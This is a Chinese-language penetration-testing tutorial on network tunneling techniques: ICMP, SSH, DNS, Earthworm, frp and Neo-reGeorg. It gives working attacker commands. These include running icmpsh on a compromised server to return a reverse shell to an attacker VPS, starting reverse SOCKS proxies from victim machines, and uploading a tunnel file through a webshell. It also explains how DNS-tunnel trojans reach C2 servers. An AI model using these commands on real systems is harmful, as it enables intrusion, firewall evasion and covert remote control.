ICMP隧道
ICMP(InternetControllerMessagesProtocol,网间控制报文协议)是
TCP/IP协议族的子协议,是一种面向无连接的协议。用于在IP主机、路由器
之间传递控制消息。控制消息是指网络通不通、主机是否可达、路由是否可
用等网络本身的消息。这些控制消息虽然并不传输用户数据,但是对于用户
数据的传递起着重要的作用。
ICMP隧道工作原理
请求端的Ping工具通常会在ICMP数据包后面附加上一段随机的数据作为
Payload,而响应端则会拷贝这段Payload到ICMP响应数据包中返还给
请求端,用于识别和匹配Ping 请求。
Windows和Linux系统下的Ping工具默认的Payload长度为64比特,但实际
上协议允许附加最大64K 大小的Payload。
对于隧道数据,icmptunnel首先会指定客户端和服务器端。随后,客户端
会将IP帧封装在ICMP请求数据包中发送给服务器,而服务器端则会使用相
匹配的ICMP响应数据包进行回复。这样在旁人看来,网络中传播的仅仅只
是正常的ICMP数据包。
ICMP隧道常用搭建工具
用于建立ICMP隧道的工具一般用icmpsh(icmpsh 使用很简单,直接在
github上下载,运行时不需要管理员权限,icmptunnel(icmptunnel 的优势
在于可以穿过状态防火墙或 NAT,同样在 github 上进行下载),ptunnel
(ptunnel 全称 PingTunnel,Kali 下自带该工具),icmpshell,等工具。
工具安装
1. git clone https://github.com/inquisb/icmpsh.git #下载工具
2. apt-get install python-impacket #安装依赖
3. sysctl -w net.ipv4.icmp_echo_ignore_all=1 #关闭本地ICMP应答
icmpsh的使用场景
如下:
服务器暴露在外网上,可以访问外部网络,但是服务上有防火墙,拒绝了敏感端口的连接(比如22端口,3389端口等)。使用icmpsh的目的就是为了能够绕过对敏感端口的限制,此时ICMP作为获取反向shell的通道,进行反向shell,当然大多数时候是其他层协议不通的时候才使用的隧道。
icmpsh的使用场景如下:
攻击者IP地址:47.x.x.xx (vps)
服务器IP地址:10.x.X.X
被攻击的服务器端运行
icmpsh.exe -t 47.x.x.x
icmpsh的使用场景如下:
攻击者端运行icmpsh的控制端
python icmpsh_m.py 47.xx.xx.xx (攻击者))10.xx.x.X(被攻击者)
其实实质就是10.xx.xx.xx向服务器发送ping请求,到这里我们就通过
icmp拿到了目标的反向shell
场景如下图所示
SSH隧道
SecureShel(安全外壳协议,简称SSH)是一种加密的网络传输协
议,可在不安全的网络中为网络服务提供安全的传输环境。SSH通过
在网络中建立安全隧道来实现SSH客户端与服务器之间的连接。SSH
最常见的用途是远程登录系统,人们通常利用SSH来传输命令行界面
和远程执行命令。
一个普通的SSH命令如下:
ssh r0ot@ 10.x.x.x
创建SSH隧道的常用参数说明如下:
-C:压缩传输,提高传输速度。-L:本地端口转发
-f:将SSH传输转入后台执行,不占用当前shell-R:远程端口转发
-N:建立静默连接 (建立了连接但看不到具体会话)-D:动态转发(SOCKS代理)
-g:允许远程主机连接本地用于转发的端口。-P:指定SSH端口
SSH隧道介绍
SSH隧道即SSH端口转发,在SSH客户端与SSH服务端之间建立一个隧道,将网
络数据通过该隧道转发至指定端口,从而进行网络通信。SSH隧道自动提供了相
应的加密及解密服务,保证了数据传输的安全性。
SSH隧道有三种端口转发模式:本地端口转发(LocalPortForwarding)、远
程端口转发(RemotePortForwarding)以及动态端口转发(DynamicPort
Forwarding)。对于本地/远程端口转发,两者的方向恰好相反。连接云手机时,
使用的是本地端口转发,因此本文着重介绍本地端口转发的工作原理。
假设本地主机A1为SSH客户端,远端云主机B1为SSH服务端。从A1主机通过
SSH登录B1主机,指定不同的端口转发选项(-L、-R和-D),即可在A1与B1之
间建立SSH隧道,从而进行不同的端口转发。
远端云主机B1上运行了一个服务,端口为2000,本地主机A1需要访问这个服务。
假设云主机B1的IP为57.1x.2x.1x,则该服务的访问地址为:
http://57.1x.2x.1x:2000
为什么需要本地端口转发?
-些云主机的防火墙默认只开启了22端口,如果需要访问2000端口,则需要修
改防火墙。为了保证安全,防火墙需要配置允许访问的IP地址。但是,云主机的
公网IP通常是网络提供商动态分配的,如果变更公网IP地址,防火墙配置就需要
经常修改,造成不必要的麻烦(其实是绕过防火墙的端口策略)
首先我们需要修改ssh连接配置文件
/etc/ssh/sshd_config
- PermitRootLogin yes
-Port22(ssh端口可以任意指定)
- PasswordAuthentication yes
- service ssh restart
ssh -fCNg -L <监听端口>:<远程ip>:<远程端口> root@ssh服务器 -p ssh
端口
ssh -fCNg -L 1153:10.22.x.x:3389 root@ 10.2x.x.x -p 22
netstat -anptl丨 grep 1153 查看本地1153端口,
可以看到1153端口已经开启侦听。
使用rdesktop连接vps的1153端口,可以发现已经与数据服务器
10.22.x.x的3389建立了连接
rdesktop 127.0.0.1:1153
本地端口转发,是将发送到本地端口的请求,转发到目标端口,这样就可以
通过访问本地端口,来访问目标端口的服务。使用-L选项,就可以指定需要
转发的端口,语法如下:
ssh-L本地端口:目标地址:目标端口
例如:
ssh-L 3000:localhost:2000 root 122.x.x.x
表示在本地主机A1登录远端云主机B1,通过本地端口转发,将发送到本地主
机A1端口3000的请求,转发到远端云主机B1的2000端口。
这样,在本地主机A1上可以通过访问http://122.x.x.x:2000来访问远端云主机
B1上的服务。
DNS隧道
DNS协议
NS (Domain Name System:域名系统),与 HTTP、FTP 和 SMTP一样,
DNS 协议也是应用层的协议,用于将用户提供的主机名(域名)解析为IP地址。
简单来说,DNS就像是一个自动的电话号码簿,我们可以直接拨打
157xxXXXXXx呼叫对方,但这不方便记录、记忆,DNS 提供一种手段能够让我
们直接拨打对方的域名www.pzijun.cn找到对方。
DNS隧道介绍
DNS隧道,是隧道技术中的一种。当我们的HTTP、HTTPS这样的上层协议、正
反向端口转发都失败的时候,可以尝试使用DNS隧道。DNS隧道很难防范,因
为平时的业务也好,使用也罢,难免会用到DNS协议进行解析,所以防火墙大
多对DNS的流量是放行状态。这时候,如果我们在不出网机器构造一个恶意的
域名(***.test.cn),本地的DNS服务器无法给出回答时,就会以迭代查询的方
式通过互联网定位到所查询域的权威DNS服务器。最后,这条DNS请求会落到
我们提前搭建好的恶意DNS服务器上,于是乎,我们的不出网主机就和恶意
DNS服务器交流上了。
DNS隧道的两种类型:
1.IP直连型
如果DNS隧道木马的服务器可以与本地主机通过IP直接通信,传输协议采用DNS协议,
则称为IP直连型DNS隧道木马。
IP直连型DNS隧道木马的服务器端开放53端口,被控端利用UDPsocket套接字直接与
C&C服务建立连接。在这种情况下,两者传输的内容实际上是基于UDP服务。
这种木马与传统UDP木马的最大不同点就是:
①利用53端口进行传输交互数据,而53端口的外联基本上在所有机器上都必须开放,
否则则无法使用互联网DNS服务;
②精心构造传输的载荷内容,使其至少从格式上是符合DNSquery包格式,因为如果
攻击者构造的UDP载荷内容不符合DNS报文格式,在wireshark等流量分析工具的
流量解析下,很容易出现DNS报文异常的情况;
2.DNS迭代查询
- 中继过程中的一个关键点是对DNS缓存机制的规避,因为如果需要解析的域名在LocalDNSServer中已经有缓存时,LocalDNSServer就不会转发数据包。所以在我们构造的请求中,每次查询的域名都是不一样的或者是已经是过期的。这个特征同时也包含了一个可用于检测的规律,即在DNStunnel的会话中,dnsqueryhost的数量会比正常情况下要多。
- 对DNS载荷的编码是DNSTunneling的另一个核心技术。从高层来看,载荷只是客户端和服务器通信的正常流量。
- 例如客户端发送一个A记录请求给服务器,查询的主机名为2roAUwBaCGRuc3R1bm5lbGluZwo.test.domain.com,其中2roAUwBaCGRuc3R1bm5lbGluZwo则是客户端传递给服务器的信息,这串字符解码后的信息便是dnstunneling。
- 最后,因为大多数场景下,内网的Client位于防火墙后,Server不可能发起连接。所以大多数工具,Client会定时向Server发送请求,保证二者之间的通信状态。
- 被控端把要传输的内容封装(protocolwrap)在dnsquery请求包中,发起一次正常的dns解析请求;
- 当被控端向任意一台DNS服务器请求该域名下的子域名时,本地DNS服务器无论是通过递归查询还是迭代查询,都会向外转发这个DNS请求,最终这个DNS请求都会被送到黑客控制的权威NS服务器中(这意味着黑客必须事先配置好NS以及A记录解析);
- DNS服务器控制端解析请求报文,得到被控端传来的信息,然后将攻击控制命令通过封装在DNS响应报文中;
- 从而实现双方通信,所有的通信都必须由被控端(client端)主动发起,不断回传数据并接受新指令。
ew工具介绍
Earthworm简称EW是一套便携式的网络穿透工具,具有SOCKSv5
服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿
透。
该工具能够以"正向"、“反向"、“多级级联"等方式打通一条网络隧道,
直达网络深处,用蚯蚓独有的手段突破网络限制,给防火墙松土。
下载地址:http://rootkiter.com/EarthWorm/
以下命令在边界机且存在公网IP(192.168.10.211)的受害者机开启
一个8888的正向连接端口。然后其它主机可通过设置代理为
192.168.10.211:8888添加这个代理;
这里使用命令:ewforWin.exe -s ssocksd -I 8888
首先在公网vps设置监听端口,意思是在我们公网VPS上添加一个
转接隧道,把9999端口收到的代理请求转交给10000端口。
ew命令:ew_for_linux64 -s rcsocks -l 9999 -e 10000
在受害者机上启动SOCKS5服务并反弹到公网主机的10000端口。
ew命令: ew_for_Win.exe -s rssocks -d 172.16.1.131 -e 10000
frp工具介绍
下载地址:https://github.com/fatedier/frp
工具介绍:
Ifrp是一个专注于内网穿透的高性能的反向代理应用,支持TCP、
UDP、HTTP、HTTPS等多种协议。可以将内网服务以安全、便
捷的方式通过具有公网IP节点的中转暴露到公网。
Neo-reGeorg工具介绍
下载地址:
https://github.com/L-codes/Neo-reGeorg
工具介绍:
Neo-reGeorg是reGeorg的一个重构升级项目,Neo-reGeorg相
对于reGeorg增加了很多特性,例如像内容加密、避免被检测、请
求头定制、响应码定制、支持py3等等
设置密码并生成隧道文件
python3 neoreg.py generate -k 123456
首先通过获取到的webshell将tunnel.php上传到服务器
python neoreg.py -k 123456 -u http://web服务器外网
ip/tunnel.php -p 1080
#表示本地1080端口的流量都转发给指定的那个url
在kali的配置文件中,配置代理端口
vim /etc/proxychains4.conf